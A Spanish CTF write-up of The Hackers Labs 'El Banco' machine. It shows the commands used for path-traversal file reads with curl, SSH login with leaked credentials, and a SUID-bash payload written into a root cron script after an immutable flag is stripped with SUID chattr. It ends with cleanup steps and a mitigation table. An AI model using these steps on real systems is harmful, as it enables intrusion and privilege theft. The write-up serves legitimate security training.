‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/banco.md

Banco

lficronsuid

Banco

Máquina: The Hackers Labs — El Banco SO: Debian (detectado por VirtualBox al importar el OVA) Vector de entrada: LFI (Local File Inclusion / Path Traversal) en descargar.php → filtración de credenciales → SSH Escalada de privilegios: cron de root ejecutando cada minuto un script mundialmente escribible (/usr/local/bin/backup.sh), protegido con el atributo immutable de ext4 pero anulable porque chattr está con el bit SUID activo Herramientas principales: VirtualBox (virtualización), arp-scan/nmap (reconocimiento), whatweb/gobuster (enumeración web), curl (explotación manual del LFI), sshpass/ssh (foothold), chattr/lsattr (abuso de SUID para la escalada), pandoc+weasyprint (generación del PDF).

Resumen de flags

Flag Valor Obtenida en
user.txt ████████████ SSH como wvverez (Fase 3)
root.txt ████████████ SUID shell vía cron root + script escribible (Fase 4)

Glosario rápido

Herramientas necesarias

Nota: se había planeado usar también Penelope (manejador de shells reversas) y Raptor (framework de análisis de seguridad) — quedan documentadas como herramientas disponibles en el laboratorio, pero no hicieron falta en esta máquina: el acceso inicial fue directo por SSH con credenciales filtradas (no se necesitó una shell reversa), y no hubo binarios ni código fuente lo bastante complejos como para justificar un análisis automatizado — todo se resolvió leyendo el PHP filtrado por el propio LFI.

Fase 0 — Preparación del laboratorio

Se descargó el .ova oficial de TheHackersLabs (comprimido en un .zip) y se dejó en la carpeta del proyecto.

# Descomprimir el ova
unzip "The Hackers Labs - elbanco -dadasda.zip"

# Inspeccionar la appliance antes de importar (no cambia nada, solo muestra qué se va a crear)
VBoxManage import "The Hackers Labs - El Banco.ova" --dry-run

--dry-run le pide a VirtualBox que lea el archivo .ova (un contenedor OVF + disco virtual) y muestre qué máquina virtual crearía, sin crearla todavía. Esto mostró: 1 CPU, 2048 MB de RAM, disco de 20 GB, tipo de SO sugerido Debian_64, y una tarjeta de red en modo NAT por defecto.

# Importar de verdad
VBoxManage import "The Hackers Labs - El Banco.ova"

Por defecto la tarjeta de red queda en modo NAT, que da salida a Internet a la VM pero la esconde detrás del propio host — no se puede llegar a ella directamente desde Kali. Para el laboratorio se necesita que la VM y el atacante (Kali) estén en la misma red aislada, así que se cambia a una red host-only (una red virtual que solo existe entre el host y sus VMs, sin salir a Internet):

VBoxManage modifyvm "The Hackers Labs - El Banco" --nic1 hostonly --hostonlyadapter1 vboxnet0

vboxnet0 es el adaptador host-only que ya existe en este equipo (rango 192.168.56.0/24, con el host en 192.168.56.1) — el mismo que se usó en las máquinas anteriores del laboratorio.

Se enciende la VM en modo headless (sin ventana gráfica, corre en segundo plano — se administra todo por SSH/consola desde Kali):

VBoxManage startvm "The Hackers Labs - El Banco" --type headless

Para reproducir desde cero, con la VM apagada:

VBoxManage controlvm "The Hackers Labs - El Banco" poweroff
VBoxManage startvm "The Hackers Labs - El Banco" --type headless

Fase 1 — Reconocimiento de red

La VM está en la red host-only vboxnet0 (192.168.56.0/24), pero no sabemos qué IP le tocó (puede ser estática o por DHCP). Para descubrirla se usa arp-scan, que manda peticiones ARP (“¿quién tiene esta IP?”) a todas las direcciones posibles de la subred y anota quién responde — más rápido y fiable que un ping sweep porque trabaja a nivel de capa 2 (Ethernet), sin depender de que el objetivo responda a ICMP:

sudo arp-scan --interface=vboxnet0 --localnet

Resultado relevante:

192.168.56.112  08:00:27:e8:1e:af  PCS Systemtechnik GmbH

Ese MAC coincide con el que VirtualBox le asignó a la VM (VBoxManage showvminfo "The Hackers Labs - El Banco" --machinereadable | grep macaddress1 → 080027E81EAF), así que confirmamos: Banco está en 192.168.56.112.

Nota: en el mismo escaneo aparecen otras IPs (192.168.56.100 = el propio servidor DHCP de VirtualBox para vboxnet0, 192.168.56.110 y .111 = otras VMs del laboratorio que no tienen relación con este reto). Se documenta para que quien reproduzca esto no se confunda si su red host-only tiene otras máquinas encendidas.

Con la IP confirmada, escaneo de puertos y versión de servicios con nmap:

nmap -sC -sV -p- --min-rate 2000 -oN loot/nmap-full.txt 192.168.56.112

Resultado:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66 ((Debian))
|_http-title: Banco de España | Portal Corporativo

Dos puertos abiertos: 22 (SSH) y 80 (HTTP, Apache), con el título de página “Banco de España | Portal Corporativo” — típico de una máquina cuyo vector de entrada probablemente pasa por la aplicación web del puerto 80. SSH normalmente no es el punto de entrada directo (salvo credenciales débiles o filtradas), así que el siguiente paso es inspeccionar la web.

Fase 2 — Enumeración web

Nota sobre la IP: en algún momento entre la Fase 1 y esta fase, la VM renovó su lease DHCP y cambió de 192.168.56.112 a 192.168.56.103 (mismo MAC 08:00:27:e8:1e:af). Si al reproducir esto la IP no responde, volver a correr arp-scan --interface=vboxnet0 --localnet y confirmar el MAC antes de seguir — no asumir que la IP se mantiene fija entre sesiones.

2.1 — whatweb y vistazo general

whatweb http://192.168.56.103

whatweb identifica tecnologías de una web (servidor, frameworks, generadores) leyendo cabeceras y contenido. Confirma Apache 2.4.66 sobre Debian, HTML5, y detecta un PasswordField (un formulario de login en la página).

2.2 — Descubrimiento de rutas con gobuster

gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirb/common.txt -q

gobuster dir prueba a pedir, uno por uno, cada palabra de una wordlist como si fuera una ruta (/admin, /backup, etc.) y anota con qué código HTTP responde el servidor — así se descubren rutas que no están enlazadas desde la página principal. -w indica el diccionario a usar (common.txt, incluido en Kali). No apareció nada fuera de lo esperado (javascript/, páginas .ht* bloqueadas por Apache).

2.3 — Revisando el código fuente de la página (login falso)

Al mirar el HTML/JS de index.html con curl + grep, aparece algo importante: la pantalla de login que se ve al entrar a la web no es real — es una capa (<div id="loginOverlay">) puesta encima del contenido, y la validación se hace enteramente en JavaScript, en el propio navegador:

let currentPassword = 'DNASdada11THL';
function doLogin() {
    const user = ...
    const pass = document.getElementById('password').value;
    if (user === 'admin' && pass === currentPassword) {
        document.getElementById('loginOverlay').style.display = 'none';
        ...

Esto es una vulnerabilidad clásica de “autenticación del lado del cliente” (CWE-602): como toda la lógica de “¿la contraseña es correcta?” corre en el navegador del propio atacante, este puede leer la contraseña directamente en el código fuente (Ctrl+U o curl), o simplemente abrir las herramientas de desarrollador y ejecutar document.getElementById('loginOverlay').style.display='none' para saltarse la pantalla sin ni siquiera saber la contraseña — el contenido de la página ya estaba cargado por debajo. Se documenta como hallazgo, pero no es el vector de entrada real de esta máquina (no da acceso al sistema, solo oculta contenido que ya era público).

2.4 — El formulario de descarga de informes (descargar.php)

Más abajo en la página hay un formulario legítimo:

<form id="pdfForm" method="POST" action="descargar.php" target="_blank">
    <input type="hidden" name="archivo" value="sobrenosotros.pdf">
    <button>Descargar Informe (PDF)</button>
</form>

Manda por POST un parámetro archivo con el nombre del PDF a descargar. Cuando una aplicación web arma una ruta de archivo a partir de algo que envía el usuario, hay que sospechar de Path Traversal / LFI (Local File Inclusion): si el servidor no valida el valor, se puede reemplazar el nombre de archivo esperado por una ruta como ../../../../etc/passwd para “escapar” de la carpeta donde deberían estar los PDFs y leer cualquier archivo del sistema al que tenga permiso el usuario que corre el servidor web (www-data).

Prueba manual con curl (simula el envío del formulario sin usar el navegador):

curl -s -d "archivo=sobrenosotros.pdf" http://192.168.56.103/descargar.php   # descarga normal, funciona
curl -s -d "archivo=../../../etc/passwd" http://192.168.56.103/descargar.php  # con 3 "../" no alcanza a salir
curl -s -d "archivo=../../../../etc/passwd" http://192.168.56.103/descargar.php  # con 4 "../" SÍ funciona

El propio servidor, en modo debug, confirma la ruta real que arma internamente cuando falla (/var/www/html/informes/../../../etc/passwd con 3 niveles no alcanza a llegar a la raíz) — con 4 niveles de ../ sí se sale de /var/www/html/informes/ hasta /, y se puede leer cualquier archivo legible por www-data:

root:x:0:0:root:/root:/bin/bash
...
wvverez:x:1001:1001:wvverez,,,:/home/wvverez:/bin/bash

Solo hay un usuario real en el sistema aparte de root: wvverez — dato clave para las fases siguientes.

Como el LFI también permite leer el propio código fuente del sitio (PHP se sirve como texto plano cuando se lee así, en vez de ejecutarse, porque descargar.php solo hace file_get_contents() y lo imprime), se leyó el propio descargar.php para confirmar el bug de raíz y buscar más pistas:

curl -s -d "archivo=../descargar.php" http://192.168.56.103/descargar.php

El código confirma que es una vulnerabilidad intencional (el propio autor la comenta en el código: “Vulnerabilidad LFI intencionada: No se valida ni se sanitiza la entrada del usuario”), y que la única comprobación es file_exists() — no filtra ../, no restringe a una lista blanca, no comprueba que la ruta final siga dentro de informes/.

Tirando del hilo, se leyó también ../config.php (el archivo que suele acompañar a un script como este):

curl -s -d "archivo=../config.php" http://192.168.56.103/descargar.php

Que reveló una constante DB_FILE apuntando a dbsuperscretinfact.json en la misma carpeta — una “base de datos” en texto plano. Se leyó también con el mismo LFI:

curl -s -d "archivo=../dbsuperscretinfact.json" http://192.168.56.103/descargar.php

Ese JSON contiene una lista de 12 “usuarios” con contraseñas — la mayoría son señuelos (usuarios como admin, root, debian, juan.perez, etc. que no existen como cuentas reales del sistema operativo, según el /etc/passwd leído antes). El único registro que sí corresponde a una cuenta real del sistema es el de wvverez, con contraseña dasjbdaDASJDASDA11E1DAJDQA (el campo ssh_key que también trae ese registro es en cambio una pista falsa: no existe ningún id_rsa en esa ruta).

Fase 3 — Punto de apoyo (foothold): SSH como wvverez

Con el único usuario real del sistema (wvverez) y la única contraseña del JSON que le corresponde, se prueba login por SSH (puerto 22, visto en la Fase 1):

sshpass -p 'dasjbdaDASJDASDA11E1DAJDQA' ssh [email protected]

sshpass permite pasarle la contraseña a ssh sin que pida el prompt interactivo (útil para probar credenciales por script; en uso manual normal simplemente se escribe la contraseña cuando la pide). Login exitoso:

whoami   → wvverez
hostname → TheHackersLabs-Banco

user.txt en el home del usuario:

cat ~/user.txt
████████████

Causa raíz de esta fase: un LFI sin ninguna validación de ruta en un script de descarga de PDFs, que termina filtrando un archivo de “base de datos” en texto plano con credenciales reales mezcladas entre señuelos.

Fase 4 — Escalada de privilegios

4.1 — Enumeración de vectores de privesc

Con shell como wvverez, se revisan sistemáticamente los vectores clásicos de escalada en Linux:

4.2 — backup.sh: cron de root + script escribible por todos

Se lee el contenido del script:

cat /usr/local/bin/backup.sh
#!/bin/bash
# backup.sh - Script para respaldar db.json
BACKUP_DIR="/var/backups"
SOURCE_FILE="/var/www/html/db.json"
DEST_FILE="$BACKUP_DIR/db_backup_$(date +'%Y%m%d_%H%M%S').json"
LOG_FILE="/var/log/backup.log"
mkdir -p "$BACKUP_DIR"
cp "$SOURCE_FILE" "$DEST_FILE" 2>/dev/null
echo "$(date) - Backup creado: $DEST_FILE" >> "$LOG_FILE"
ls -t $BACKUP_DIR/db_backup_*.json 2>/dev/null | tail -n +11 | xargs rm -f 2>/dev/null

Y se confirma que se está ejecutando activamente revisando su propio log:

cat /var/log/backup.log

El log tiene una entrada nueva cada 60 segundos, con la hora del sistema pisándole los talones a la última línea — es decir, hay algo (con toda seguridad un cron job propio de root, guardado en /var/spool/cron/crontabs/root, que como usuario normal no podemos leer — pero no hace falta leerlo: el comportamiento observable ya lo confirma) que ejecuta este script como root, una vez por minuto.

Esta combinación es la vulnerabilidad clásica de “cron job + script escribible”: si un proceso que corre como root ejecuta periódicamente un archivo que un usuario sin privilegios puede modificar, ese usuario puede escribir ahí lo que quiera y esperar a que root lo ejecute por él.

4.3 — El obstáculo: atributo immutable

Al intentar añadir una línea al script:

echo 'algo' >> /usr/local/bin/backup.sh

el sistema responde Operación no permitida, a pesar de que los permisos (rwxrwxrwx) sí lo permitirían. Esto pasa porque en sistemas de archivos tipo ext4 existen atributos extendidos además de los permisos normales — uno de ellos es immutable (i): ni siquiera root puede modificar o borrar un archivo con ese atributo activo sin quitarlo primero explícitamente. Se confirma con:

lsattr /usr/local/bin/backup.sh
----i---------e------- /usr/local/bin/backup.sh

La i en esa posición es justamente el atributo immutable.

Normalmente, para quitar ese atributo hace falta ser root (chattr -i archivo). Pero recordemos la pista de la Fase 4.1: /usr/bin/chattr tiene el bit SUID activo — es decir, cuando wvverez ejecuta chattr, el propio binario corre con privilegios de root, así que sí puede quitar el atributo immutable de un archivo aunque wvverez no sea root:

chattr -ia /usr/local/bin/backup.sh
lsattr /usr/local/bin/backup.sh    # ya no muestra la "i"

4.4 — Payload y escalada

Con el atributo quitado, ahora sí se puede escribir en el script. Se añade al final (sin borrar el contenido original, para no romper nada de lo que hace la máquina):

printf '\n# --- payload de privesc CTF ---\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' >> /usr/local/bin/backup.sh

Esto hace que, la próxima vez que el cron de root ejecute backup.sh, además de la copia de seguridad se copie /bin/bash a /tmp/rootbash y se le ponga el bit SUID (chmod 4755 — el 4 inicial en octal activa SUID) — el mismo truco que usó la máquina contra nosotros con chattr, pero ahora aplicado por nosotros a una bash.

Se espera a que el cron dispare (máximo 60 segundos) y se confirma:

ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1265648 ago 31 13:50 /tmp/rootbash

La s en el permiso de dueño (en vez de x) confirma que el SUID quedó activo, y el dueño es root.

Ejecutando esa bash con -p (le dice a bash que no baje sus propios privilegios al arrancar, algo que bash hace por defecto al detectar que el UID real y el UID efectivo son distintos, precisamente para evitar este tipo de truco — con -p se lo desactivamos) obtenemos una shell con EUID 0 (root):

/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1001(wvverez) gid=1001(wvverez) euid=0(root) grupos=1001(wvverez),100(users)
████████████

Causa raíz de esta fase: un script ejecutado periódicamente por root con permisos de escritura para cualquier usuario (el immutable era la única barrera real, y esa barrera se rompió porque chattr/lsattr tenían SUID sin necesitarlo).

4.5 — Limpieza

Antes de cerrar, se revierte todo lo tocado para dejar la máquina como estaba (buena práctica en cualquier auditoría real, y necesario aquí porque backup.sh sigue corriendo cada minuto). El primer intento falló en dos puntos, y se documenta el error porque es instructivo:

sed -i '/payload de privesc CTF/,$d' /usr/local/bin/backup.sh   # FALLA
rm -f /tmp/rootbash                                              # FALLA

La solución fue usar la propia shell de root que ya teníamos (/tmp/rootbash -p) para hacer la limpieza, ya que como root ninguno de esos dos obstáculos aplica. Para evitar problemas de escapado de comillas al reescribir el script por varias capas de shell (SSH → bash -c → heredoc), se generó el contenido original localmente y se transmitió codificado en base64 (así el contenido viaja como una sola línea de texto sin caracteres especiales que puedan romperse por el camino):

# 1) quitar el immutable con el chattr SUID (esto sí funciona como wvverez)
chattr -i /usr/local/bin/backup.sh

# 2) escribir el contenido ORIGINAL del script (codificado en base64 para evitar
#    problemas de escapado) y devolver el atributo immutable
echo '<contenido-original-en-base64>' | base64 -d > /usr/local/bin/backup.sh
chattr +i /usr/local/bin/backup.sh

# 3) borrar el rootbash usando la propia shell de root (evita el problema del sticky bit)
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'

Verificación final: contenido idéntico al original (diff sin salida), permisos -rwxrwxrwx intactos, atributo ----i---- restaurado, y /tmp/rootbash ya no existe. La máquina queda exactamente como estaba antes de la intrusión.

Fase 5 — Cadena de ataque (resumen)

[Kali/atacante]
      │  arp-scan + nmap -sC -sV -p-
      ▼
192.168.56.x — Apache 2.4.66 + OpenSSH 9.2p1 (Debian 12)
      │
      │  descargar.php?archivo=../../../../etc/passwd  (LFI / Path Traversal, sin auth)
      ▼
  filtra /etc/passwd (usuario real: wvverez)
      │  descargar.php?archivo=../dbsuperscretinfact.json  (mismo LFI)
      ▼
  filtra credenciales (mezcladas con señuelos) → contraseña real de wvverez
      │  ssh wvverez@<IP>
      ▼
  FOOTHOLD como wvverez  →  user.txt
      │  enumeración privesc: find world-writable + find SUID
      ▼
  /usr/local/bin/backup.sh (777, root, cron cada 60s) protegido con chattr +i
      │  chattr -i (abusando SUID de /usr/bin/chattr)
      ▼
  escribir payload en backup.sh → cron root lo ejecuta → /tmp/rootbash SUID
      │  /tmp/rootbash -p
      ▼
  ROOT  →  root.txt

Causas raíz y mitigación

# Causa raíz Dónde Mitigación
1 Falta de validación/sanitización de una ruta de archivo construida con entrada del usuario descargar.php (parámetro archivo) Nunca concatenar entrada de usuario a una ruta de archivo. Usar una lista blanca de nombres permitidos, o un identificador (ej. un ID numérico) que se traduzca a una ruta fija en el servidor — nunca el nombre/ruta directamente. Funciones como basename() + comprobar que la ruta resultante sigue dentro del directorio base (realpath() + strpos) son el mínimo.
2 Credenciales reales guardadas en texto plano junto a señuelos, accesibles por un archivo que además es legible por el propio servidor web dbsuperscretinfact.json No guardar contraseñas en texto plano nunca — usar hashes (bcrypt/argon2). No guardar credenciales dentro del webroot servible por Apache.
3 “Autenticación” resuelta enteramente en JavaScript del lado del cliente pantalla de login superpuesta en index.html Toda decisión de autorización/autenticación debe validarse en el servidor. El cliente nunca es de confianza.
4 Script ejecutado por un cron de root con permisos de escritura para cualquier usuario del sistema /usr/local/bin/backup.sh Scripts invocados por tareas privilegiadas deben pertenecer a root y no ser escribibles por nadie más (chmod 700, dueño root). Auditar periódicamente permisos de todo lo que ejecuta cron/systemd como root.
5 Bit SUID activado en utilidades que no lo necesitan (chattr, lsattr) /usr/bin/chattr, /usr/bin/lsattr Nunca poner SUID a una herramienta administrativa genérica salvo necesidad estrictamente justificada; revisar find / -perm -4000 como parte de un hardening periódico y quitar SUID de todo lo que no lo requiera explícitamente.

«El pájaro lucha para salir del huevo. El huevo es el mundo. Quien quiera nacer, tiene que destruir un mundo.»
— Hermann Hesse, Demian